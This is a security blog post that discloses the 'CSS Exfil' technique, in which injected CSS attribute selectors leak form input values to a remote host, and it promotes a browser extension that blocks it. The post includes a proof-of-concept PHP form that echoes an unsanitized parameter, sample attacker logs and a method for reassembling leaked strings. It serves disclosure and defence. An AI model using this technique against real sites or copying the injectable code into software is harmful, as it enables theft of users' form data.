CSS Exfil Protection


Introducing CSS Exfil

Several months ago I began tinkering with Chrome’s XSS auditor looking for bypasses. One remote injection method which reliably got through Chrome’s filter was CSS injection. By utilizing injected CSS, an attacker essentially has complete control over the look-and-feel of a page. I also discovered an attacker can leverage CSS to steal form data. By utilizing CSS alone, browser protections like NoScript can’t block the egress of data (although NoScript’s XSS auditor is more effective than Chrome at blocking some of the injection Proof of Concept attacks detailed below).

While CSS injection is not a new vulnerability, using CSS as the sole attack vector to reliably exfiltrate data - to my knowledge - has never been presented. I am also not aware of any effective method previously documented to guard end users against such attack - other than to block CSS, which is not a practical solution.

The only mention I could find of a similar egress method, is this discussion on the OWASP website from 2014, which demonstrates how CSS can be used to beacon an attacker when certain data is present on a web page. (Admittedly, I found this page later when researching possible mitigation techniques.) A couple weeks ago I also became aware of a GitHub project dubbed Crooked Style Sheets, which uses CSS to track web users.

Methods of Exploitation

There are a variety of attack scenarios which can leverage CSS Exfil, including:

  • Reflected or stored code injection flaws (e.g. any page vulnerable to XSS)
  • Hijacked or malicious 3rd party resources intentionally or accidentally included within the DOM (Document Object Model) of the target element. e.g.:
    • Web tracker snippits
    • Remarketing code
    • Advertisements which are not not encapsulated within an iframe
    • Web development plugins/libraries/frameworks
  • Malicious or hijacked browser extensions

Anatomy of the Attack

The CSS Exfil attack centers around the CSS ‘value selectors’, which can be used to parse HTML tag attribute data. Here is a summary of these selectors (paraphrased from W3Schools):

[attribute=value]   [foo=bar]     Selects all elements with foo="bar"
[attribute~=value]  [foo~=bar]    Selects all elements with a foo attribute containing the word "bar"
[attribute|=value]  [foo|=bar]    Selects all elements with a foo attribute value starting with "bar"
[attribute^=value]  [foo^="bar"]  Selects all elements with a foo attribute value starting with "bar"
[attribute$=value]  [foo$="bar"]  Selects all elements with a foo attribute value ending with "bar"
[attribute*=value]  [foo*="bar"]  Selects all elements with a foo attribute which contains the substring "bar"

This simple example demonstrates how these selectors can be abused:

    #username[value="mikeg"] {
<input id="username" value="mikeg" />

In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is ‘mikeg’. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.

Proof of Concept

Basic CSS Exfil example which shows how malicious CSS/HTML can be used to leak page data.

        Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
        <input id="form_submit" type="submit" value="submit"/>
        <a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">

The above example isn’t all that realistic but it demonstrates the fundamentals of the CSS Exfil attack. When a user enters any string consisting of the letters ‘a’ ‘b ‘c’, specific elements will be styled with a non-existent background image at a remote attacker URL. For the attack to succeed three conditions need to be in place:

  • Condition #1: The data being parsed must be present on page load
  • Condition #2: There must be one or more elements which can be referenced via a CSS selector relative to the data element
  • Condition #3: The element must be styled with a CSS property which takes a URL (e.g. background / background-image, list-style / list-style-image, or cursor).

Upon visiting hxxps://victim[.]host/css-exfil-poc1[.]php?username=abcab, the attacker will receive data like this. - - [25/Jan/2018:22:36:46 -0500] "GET /ab HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /a_ HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /bc HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /_b HTTP/1.1" 404 22 - - [25/Jan/2018:22:36:46 -0500] "GET /ca HTTP/1.1" 404 22

Which can be re-assembled like this:

a       # a_
ab      # ab
abc     # bc
abca    # ca
abcab   # _b

The malicious CSS utilizes pattern matching for two character combinations (‘aa’, ‘ab’, ‘ac’…) as well as detection of the first and last letter of the string (‘a_’ & ‘_a’ callbacks). This method provides a reliable method of reconstructing data. The limitation is that repeating patterns may not always be apparent and reconstruction may sometimes require human intelligence if the data decodes to multiple strings.

Why not use three character matching or longer? In a word: practicality. If the structure of the data can be anticipated it may be possible to use longer strings, which I will illustrate below. The more targeted the attack the more it becomes possible to make better data predictions and reduce the CSS footprint. But in general, the two-character first/last-character approach provides the best performance to attack footprint.

All two letter English alphabet lower case alphabet permutations work out to P(26,2) = 650. Three character permutations increases the footprint to P(26,3) = 15,600, making it much more unlikely that Condition #2 will be possible. This table describes the attributes of various attack alphabet.

Depending where the targeted data element resides within a page, large alphabets may be possible without HTML injection. Running document.getElementsByTagName('*').length; in your browser console will display the total number of DOM (Document Object Model) elements on a page, which can provide an upper bound. For example, my homepage (at the time of this writing) has ~750 DOM elements in total. A test of Slashdot yielded ~2,100 elements and Google News yielded ~6,900 elements! That’s not to say that each DOM element can be properly referenced by the target element, but it gives an upper bound on what may be possible without additional DOM injection.

Information about the plugins and the CSS Exfil attack can be found here:

The plugin was named a Firefox star2 Featured Extension in April 2019!

Download Extension

Firefox Rating Chrome Rating

Share this post


Welcome to Cyber-Security.tk my personal blog to share my knowledge
Cyber Security, Ethical Hacking, Web & Network Auditing, Reverse Engineering and Cryptography
This website don't use analytics tracking and is ads-free. JavaScript is enabled .


Contact Form : Connect with Us

    Ricochet : ricochet:3ka6l4q255cakeirgxupsl5i4lw3qpk5gmngtv5amax64hckuovgozyd

2023 © 0x1 | Cyber Security Consulting - Copyright All Rights Reserved